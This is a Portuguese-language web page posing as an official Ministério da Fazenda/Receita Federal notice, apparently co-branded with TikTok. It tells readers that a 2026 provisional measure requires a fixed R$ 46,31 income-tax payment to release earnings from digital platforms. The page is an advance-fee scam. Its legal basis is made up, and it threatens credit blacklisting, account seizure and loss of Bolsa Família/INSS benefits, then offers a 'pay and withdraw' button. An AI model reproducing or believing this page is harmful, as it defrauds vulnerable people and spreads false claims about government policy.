Gov.br
TikTok
Publicação Oficial — Medida Provisória 1.402/2026

Receita Federal e TikTok anunciam novas normas para rendimentos financeiros digitais

A nova regulamentação exige o recolhimento antecipado do Imposto de Renda de 17% para usuários com ganhos em plataformas de tecnologia.

Por: Ministério da Fazenda Atualizado em 01/01/2026 20h05

A tributação sobre ganhos financeiros no Brasil está sujeita a diversas regras que variam conforme o tipo de investimento e a natureza do rendimento. A partir de 1º de janeiro de 2026, uma série de mudanças entra em vigor com base em uma Medida Provisória que altera significativamente o regime de incidência do Imposto de Renda (IR) sobre rendimentos financeiros.

O texto normativo estabelece que rendimentos provenientes de atividades digitais devem realizar o recolhimento da Taxa de IR correspondente a 17%. Esta medida visa a regularização fiscal imediata dos ativos em trânsito no ambiente digital.

⚠️ NOTIFICAÇÃO DE REGULARIZAÇÃO OBRIGATÓRIA

O não recolhimento do tributo digital no valor fixado de R$ 46,31 acarretará as seguintes sanções imediatas:

  • • Negativação de Score: Inclusão automática nos cadastros do Serasa e SPC Brasil.
  • • Bloqueio de Contas: Retenção de valores via sistema BacenJud em todas as instituições financeiras.
  • • Perda de Benefícios: Suspensão temporária de pagamentos sociais e previdenciários (Bolsa Família/INSS).

Conforme o acordo de cooperação técnica, após a confirmação do pagamento desta guia de regularização, o saque integral do saldo será liberado imediatamente. Esta operação é única e isenta o contribuinte de quaisquer outras taxas, tarifas ou novas retenções de impostos.

Portal de Arrecadação Digital

R$ 46,31
Emitir Guia e Liberar Saque Imediato

Sistema seguro integrado à Receita Federal.
A liberação do saldo ocorre em até 5 minutos após o processamento.

Assuntos Relacionados

Economia Digital Imposto de Renda 2026 Receita Federal